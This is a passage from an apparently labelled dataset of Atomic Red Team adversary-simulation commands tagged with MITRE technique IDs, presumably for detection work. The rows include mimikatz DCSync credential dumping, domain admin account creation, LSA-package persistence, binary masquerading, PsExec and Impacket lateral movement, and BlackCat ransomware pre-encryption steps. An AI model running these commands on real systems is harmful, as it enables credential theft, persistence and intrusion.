Upon successful execution, powershell.exe is renamed as taskhostw.exe and executed from non-standard path.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5e85f99ae2fde6b887f3ed96,"copy ""#{inputfile}"" #{outputfile} try { $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id } catch { $_; exit $_.Exception.HResult} Stop-Process -ID $myT1036_003","copy ""#{inputfile}"" #{outputfile} try { $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id } catch { $_; exit $_.Exception.HResult} Stop-Process -ID $myT1036_003",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Masquerading - non-windows exe running as windows exe,T1036.003,"[""T1036.003""]",windows,0.9,False,"Copies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe

Upon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4fa3ce49d1a0cac0dd811175,Remove-Item #{outputfile} -Force -ErrorAction Ignore,Remove-Item #{outputfile} -Force -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Masquerading - non-windows exe running as windows exe,T1036.003,"[""T1036.003""]",windows,0.55,True,"Copies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe

Upon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8c45ea371711b4657affe542,"copy ""#{inputfile}"" #{outputfile} $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id Stop-Process -ID $myT1036_003","copy ""#{inputfile}"" #{outputfile} $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id Stop-Process -ID $myT1036_003",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Masquerading - windows exe running as different windows exe,T1036.003,"[""T1036.003""]",windows,0.9,False,"Copies a windows exe, renames it as another windows exe, and launches it to masquerade as second windows exe
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
34c77e2ebd229bbb8287a410,copy C:\Windows\System32\cmd.exe C:\lsm.exe C:\lsm.exe /c echo T1036.003 > C:\T1036.003.txt,copy C:\Windows\System32\cmd.exe C:\lsm.exe C:\lsm.exe /c echo T1036.003 > C:\T1036.003.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Malicious process Masquerading as LSM.exe,T1036.003,"[""T1036.003""]",windows,0.9,False,"Detect LSM running from an incorrect directory and an incorrect service account
This works by copying cmd.exe to a file, naming it lsm.exe, then copying a file to the C:\ folder.

Upon successful execution, cmd.exe will be renamed as lsm.exe and executed from non-standard path.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4913ec6dcb5f6a54e5839bcf,del C:\T1036.003.txt >nul 2>&1 del C:\lsm.exe >nul 2>&1,del C:\T1036.003.txt >nul 2>&1 del C:\lsm.exe >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036.003/T1036.003.yaml,Malicious process Masquerading as LSM.exe,T1036.003,"[""T1036.003""]",windows,0.55,True,"Detect LSM running from an incorrect directory and an incorrect service account
This works by copying cmd.exe to a file, naming it lsm.exe, then copying a file to the C:\ folder.

Upon successful execution, cmd.exe will be renamed as lsm.exe and executed from non-standard path.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
690cd865b1ffb138f63ba63e,"$extList = #{extension_id} foreach ($extension in $extList) { New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force New-ItemProperty -Path ""HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension"" -Name ""update_url"" -Value ""https://clients2.google.com/service/update2/crx"" -PropertyType ""String"" -Force} Start chrome Start-Sleep -Seconds 30 Stop-Process -Name ""chrome""","$extList = #{extension_id} foreach ($extension in $extList) { New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force New-ItemProperty -Path ""HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension"" -Name ""update_url"" -Value ""https://clients2.google.com/service/update2/crx"" -PropertyType ""String"" -Force} Start chrome Start-Sleep -Seconds 30 Stop-Process -Name ""chrome""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1133/T1133.yaml,Running Chrome VPN Extensions via the Registry 2 vpn extension,T1133,"[""T1133""]",windows,0.9,False,"Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see ""T1133\src\list of vpn extension.txt"" to view complete list
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d9f4335650b85fa86741deeb,"$extList = #{extension_id} foreach ($extension in $extList) { Remove-Item -Path ""HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension"" -ErrorAction Ignore}","$extList = #{extension_id} foreach ($extension in $extList) { Remove-Item -Path ""HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension"" -ErrorAction Ignore}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1133/T1133.yaml,Running Chrome VPN Extensions via the Registry 2 vpn extension,T1133,"[""T1133""]",windows,0.55,True,"Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see ""T1133\src\list of vpn extension.txt"" to view complete list
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
22190ae752ef25a6b94fb855,"hh.exe ""#{local_chm_file}""","hh.exe ""#{local_chm_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.001/T1218.001.yaml,Compiled HTML Help Local Payload,T1218.001,"[""T1218.001""]",windows,0.9,False,"Uses hh.exe to execute a local compiled HTML Help payload.
Upon execution calc.exe will open
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e00bda28263919522b4fda29,hh.exe #{remote_chm_file},hh.exe #{remote_chm_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.001/T1218.001.yaml,Compiled HTML Help Remote Payload,T1218.001,"[""T1218.001""]",windows,0.9,False,"Uses hh.exe to execute a remote compiled HTML Help payload.
Upon execution displays an error saying the file cannot be open
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
876d63f6be8b72dc71a561bf,Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path},Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.001/T1218.001.yaml,Invoke CHM with default Shortcut Command Execution,T1218.001,"[""T1218.001""]",windows,0.9,False,Executes a CHM file with the default Shortcut Command method.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9224bb2ee9fc40a9cf2eba00,Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path},Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.001/T1218.001.yaml,Invoke CHM with InfoTech Storage Protocol Handler,T1218.001,"[""T1218.001""]",windows,0.9,False,Executes a CHM file with the ITS protocol handler.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9db43682f3cf47e0365ac15e,Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path},Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.001/T1218.001.yaml,Invoke CHM Simulate Double click,T1218.001,"[""T1218.001""]",windows,0.9,False,Executes a CHM file simulating a user double click.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d5681d9d7184c3b6dde78f0c,Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path},Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.001/T1218.001.yaml,Invoke CHM with Script Engine and Help Topic,T1218.001,"[""T1218.001""]",windows,0.9,False,"Executes a CHM file with a defined script engine, ITS Protocol Handler, and help topic extension.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
022c46dcb0bb16a4c77a8dc9,Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path},Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.001/T1218.001.yaml,Invoke CHM Shortcut Command with ITS and Help Topic,T1218.001,"[""T1218.001""]",windows,0.9,False,"Executes a CHM file using the Shortcut Command method with a defined ITS Protocol Handler, and help topic extension.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
926c90bd61ff70d1716213f1,"hh.exe -decompile %temp% ""#{local_chm_file}""","hh.exe -decompile %temp% ""#{local_chm_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.001/T1218.001.yaml,Decompile Local CHM File,T1218.001,"[""T1218.001""]",windows,0.9,False,"Uses hh.exe to decompile a local compiled HTML Help file.
Upon successful execution the chm file will decompile to disk.
Reference:https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f50058227069b378c2d2b653,del %temp%\T1218.001.html >nul 2>&1,del %temp%\T1218.001.html >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.001/T1218.001.yaml,Decompile Local CHM File,T1218.001,"[""T1218.001""]",windows,0.55,True,"Uses hh.exe to decompile a local compiled HTML Help file.
Upon successful execution the chm file will decompile to disk.
Reference:https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d6e26362435458f10f85d30a,"#{mimikatz_path} ""lsadump::dcsync /domain:#{domain} /user:#{user}@#{domain}"" ""exit""","#{mimikatz_path} ""lsadump::dcsync /domain:#{domain} /user:#{user}@#{domain}"" ""exit""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.006/T1003.006.yaml,DCSync (Active Directory),T1003.006,"[""T1003.006""]",windows,0.9,False,"Active Directory attack allowing retrieval of account information without accessing memory or retrieving the NTDS database.
Works against a remote Windows Domain Controller using the replication protocol.
Privileges required: domain admin or domain controller account (by default), or any other account with required rights.
[Reference](https://adsecurity.org/?p=1729)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e1594d38e486d611a0fca7a8,Get-ADReplAccount -All -Server #{logonserver},Get-ADReplAccount -All -Server #{logonserver},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.006/T1003.006.yaml,Run DSInternals Get-ADReplAccount,T1003.006,"[""T1003.006""]",windows,0.9,False,"The following Atomic will run Get-ADReplAccount from DSInternals.
Upon successful execution, domain and credentials will appear in stdout. 
[Reference](https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/) CrowdStrike StellarParticle.
https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
df8c5287f0f6f2d518d8535b,"net user ""#{username}"" ""#{password}"" /add /domain net group ""#{group}"" ""#{username}"" /add /domain","net user ""#{username}"" ""#{password}"" /add /domain net group ""#{group}"" ""#{username}"" /add /domain",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.002/T1136.002.yaml,Create a new Windows domain admin user,T1136.002,"[""T1136.002""]",windows,0.9,False,"Creates a new domain admin user in a command prompt.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4ef576b4d03ca1a5cfce4cd8,"net user ""#{username}"" >nul 2>&1 /del /domain","net user ""#{username}"" >nul 2>&1 /del /domain",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.002/T1136.002.yaml,Create a new Windows domain admin user,T1136.002,"[""T1136.002""]",windows,0.55,True,"Creates a new domain admin user in a command prompt.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
968cbeb5ad3e5171405df33a,"net user ""#{username}"" ""#{password}"" /add /domain","net user ""#{username}"" ""#{password}"" /add /domain",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.002/T1136.002.yaml,Create a new account similar to ANONYMOUS LOGON,T1136.002,"[""T1136.002""]",windows,0.9,False,"Create a new account similar to ANONYMOUS LOGON in a command prompt.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f0ea3df103e53eff5503d2c0,"cmd /c ""net user #{username} /del >nul 2>&1""","cmd /c ""net user #{username} /del >nul 2>&1""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.002/T1136.002.yaml,Create a new Domain Account using PowerShell,T1136.002,"[""T1136.002""]",windows,0.55,True,"Creates a new Domain User using the credentials of the Current User
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9c88df08d419a05ff8c52a56,"echo removing Atomic User (temporary user) echo ""dn: cn=Atomic User,cn=Users,dc=scwxscratch,dc=dev\nchangetype: delete"" > deleteuser.ldif ldapmodify -H ldap://#{domain_controller}:389 -x -D #{admin_user} -w #{admin_password} -f deleteuser.ldif rm deleteuser.ldif rm tempadmin.ldif","echo removing Atomic User (temporary user) echo ""dn: cn=Atomic User,cn=Users,dc=scwxscratch,dc=dev\nchangetype: delete"" > deleteuser.ldif ldapmodify -H ldap://#{domain_controller}:389 -x -D #{admin_user} -w #{admin_password} -f deleteuser.ldif rm deleteuser.ldif rm tempadmin.ldif",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.002/T1136.002.yaml,Active Directory Create Admin Account,T1136.002,"[""T1136.002""]",linux,0.55,True,"Use Admin Credentials to Create A Domain Admin Account
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a00ecb428cb548a4b76d6771,"echo ""dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\nobjectClass: person\ncn: Atomic User\nsn: User"" > tempadmin.ldif echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif","echo ""dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\nobjectClass: person\ncn: Atomic User\nsn: User"" > tempadmin.ldif echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.002/T1136.002.yaml,Active Directory Create User Account (Non-elevated),T1136.002,"[""T1136.002""]",linux,0.9,False,"Use Admin Credentials to Create A Normal Account (as means of entry)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ad55d8f8e2a14d64ad403c5b,"Copy-Item ""$PathToAtomicsFolder\T1547.002\bin\package.dll"" C:\Windows\System32\ reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa"" /v ""Authentication Packages"" /t REG_MULTI_SZ /d ""msv1_0\0package.dll"" /f","Copy-Item ""$PathToAtomicsFolder\T1547.002\bin\package.dll"" C:\Windows\System32\ reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa"" /v ""Authentication Packages"" /t REG_MULTI_SZ /d ""msv1_0\0package.dll"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.002/T1547.002.yaml,Authentication Package,T1547.002,"[""T1547.002""]",windows,0.9,False,"Establishes persistence using a custom authentication package for the Local Security Authority (LSA).
After a reboot, Notepad.exe will be executed as child process of lsass.exe.
Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package
[Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
45b88b97819bed7aba46e208,"reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa"" /v ""Authentication Packages"" /t REG_MULTI_SZ /d ""msv1_0"" /f rm -force C:\windows\system32\package.dll","reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa"" /v ""Authentication Packages"" /t REG_MULTI_SZ /d ""msv1_0"" /f rm -force C:\windows\system32\package.dll",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.002/T1547.002.yaml,Authentication Package,T1547.002,"[""T1547.002""]",windows,0.55,True,"Establishes persistence using a custom authentication package for the Local Security Authority (LSA).
After a reboot, Notepad.exe will be executed as child process of lsass.exe.
Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package
[Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a82543216c0cff26959308c1,"Start-Process ""#{exe_binary}"" Start-Sleep -Seconds 7 Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force","Start-Process ""#{exe_binary}"" Start-Sleep -Seconds 7 Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.002/T1055.002.yaml,Portable Executable Injection,T1055.002,"[""T1055.002""]",windows,0.9,False,"This test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. When successful, a message box will appear with the title ""Warning"" and the content ""Atomic Red Team"" after a few seconds.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7a9b30c5b7f909346d4ea505,Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force,Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.002/T1055.002.yaml,Portable Executable Injection,T1055.002,"[""T1055.002""]",windows,0.55,True,"This test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. When successful, a message box will appear with the title ""Warning"" and the content ""Atomic Red Team"" after a few seconds.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d2676b0d3394724bf99aca0b,systemctl stop #{systemd_timer_name} systemctl disable #{systemd_timer_name} rm #{path_to_systemd_service} rm #{path_to_systemd_timer} systemctl daemon-reload,systemctl stop #{systemd_timer_name} systemctl disable #{systemd_timer_name} rm #{path_to_systemd_service} rm #{path_to_systemd_timer} systemctl daemon-reload,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.006/T1053.006.yaml,Create Systemd Service and Timer,T1053.006,"[""T1053.006""]",linux,0.55,True,"This test creates Systemd service and timer then starts and enables the Systemd timer 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
77778585798b9846b53182df,"systemd-run --user --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo ""$(date) $(whoami)"" >>/tmp/log'","systemd-run --user --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo ""$(date) $(whoami)"" >>/tmp/log'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.006/T1053.006.yaml,Create a user level transient systemd service and timer,T1053.006,"[""T1053.006""]",linux,0.9,False,"Schedule a user level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
45c5121f3103e9c1c4cfce66,systemctl --user stop Atomic-Red-Team.service systemctl --user stop Atomic-Red-Team.timer rm /tmp/log,systemctl --user stop Atomic-Red-Team.service systemctl --user stop Atomic-Red-Team.timer rm /tmp/log,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.006/T1053.006.yaml,Create a user level transient systemd service and timer,T1053.006,"[""T1053.006""]",linux,0.55,True,"Schedule a user level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c67b98274f19cb2f17c35872,"systemd-run --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo ""$(date) $(whoami)"" >>/tmp/log'","systemd-run --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo ""$(date) $(whoami)"" >>/tmp/log'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.006/T1053.006.yaml,Create a system level transient systemd service and timer,T1053.006,"[""T1053.006""]",linux,0.9,False,"Schedule a system level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0a515c540a861532c52570a6,systemctl stop Atomic-Red-Team.service systemctl stop Atomic-Red-Team.timer rm /tmp/log,systemctl stop Atomic-Red-Team.service systemctl stop Atomic-Red-Team.timer rm /tmp/log,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.006/T1053.006.yaml,Create a system level transient systemd service and timer,T1053.006,"[""T1053.006""]",linux,0.55,True,"Schedule a system level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
10db118b9c034bb022db0edd,"sc.exe create #{service_name} binPath= ""#{executable_command}"" sc.exe start #{service_name} sc.exe delete #{service_name}","sc.exe create #{service_name} binPath= ""#{executable_command}"" sc.exe start #{service_name} sc.exe delete #{service_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1569.002/T1569.002.yaml,Execute a Command as a Service,T1569.002,"[""T1569.002""]",windows,0.9,False,"Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.

Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file `art-marker.txt`

[BlackCat Ransomware (ALPHV)](https://www.varonis.com/blog/blackcat-ransomware)  
[Cybereason vs. BlackCat Ransomware](https://www.cybereason.com/blog/cyberea",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c9f51860a0139feaf9b0b45e,del C:\art-marker.txt >nul 2>&1,del C:\art-marker.txt >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1569.002/T1569.002.yaml,Execute a Command as a Service,T1569.002,"[""T1569.002""]",windows,0.55,True,"Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.

Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file `art-marker.txt`

[BlackCat Ransomware (ALPHV)](https://www.varonis.com/blog/blackcat-ransomware)  
[Cybereason vs. BlackCat Ransomware](https://www.cybereason.com/blog/cyberea",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
30a21779bb40b0af44ec90db,"""PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"" \\#{remote_host} -i -u #{user_name} -p #{password} -accepteula ""C:\Windows\System32\calc.exe""","""PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"" \\#{remote_host} -i -u #{user_name} -p #{password} -accepteula ""C:\Windows\System32\calc.exe""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1569.002/T1569.002.yaml,Use PsExec to execute a command on a remote host,T1569.002,"[""T1569.002""]",windows,0.9,False,"Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments
Will start a process on a remote host.

Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
696d11819cd65c9c587e197a,psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}',psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1569.002/T1569.002.yaml,psexec.py (Impacket),T1569.002,"[""T1569.002""]",linux,0.9,False,"Will execute a command on the remote host with Impacket psexec.py script.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ee6224c24d19ee07a98a5925,"cmd.exe /c ""wmic csproduct get UUID"" cmd.exe /c ""fsutil behavior set SymlinkEvaluation R2L:1"" cmd.exe /c ""fsutil behavior set SymlinkEvaluation R2R:1"" reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f copy ""PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"" $env:temp cmd.exe /c ""$env:temp\psexec.exe -accepteula \\#{targethost} cmd.exe /c echo ""--access-token""""","cmd.exe /c ""wmic csproduct get UUID"" cmd.exe /c ""fsutil behavior set SymlinkEvaluation R2L:1"" cmd.exe /c ""fsutil behavior set SymlinkEvaluation R2R:1"" reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f copy ""PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"" $env:temp cmd.exe /c ""$env:temp\psexec.exe -accepteula \\#{targethost} cmd.exe /c echo ""--access-token""""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1569.002/T1569.002.yaml,BlackCat pre-encryption cmds with Lateral Movement,T1569.002,"[""T1569.002""]",windows,0.9,False,This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dda0158cf6ca6f81e0b5d33a,"reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /f cmd.exe /c ""fsutil behavior set SymlinkEvaluation R2L:0"" cmd.exe /c ""fsutil behavior set SymlinkEvaluation R2R:0"" rm $env:temp\psexec.exe","reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /f cmd.exe /c ""fsutil behavior set SymlinkEvaluation R2L:0"" cmd.exe /c ""fsutil behavior set SymlinkEvaluation R2R:0"" rm $env:temp\psexec.exe",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1569.002/T1569.002.yaml,BlackCat pre-encryption cmds with Lateral Movement,T1569.002,"[""T1569.002""]",windows,0.55,True,This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4e6c6201414f1c8ab8cda541,"""PathToAtomicsFolder\..\ExternalPayloads\remcom.exe"" \\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exe","""PathToAtomicsFolder\..\ExternalPayloads\remcom.exe"" \\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exe",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1569.002/T1569.002.yaml,Use RemCom to execute a command on a remote host,T1569.002,"[""T1569.002""]",windows,0.9,False,"Requires having RemCom installed, path to RemCom is one of the input input_arguments
Will start a process on a remote host.
Upon successful execution, cmd will utilize RemCom.exe to spawn calc.exe on a remote endpoint (default:localhost).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
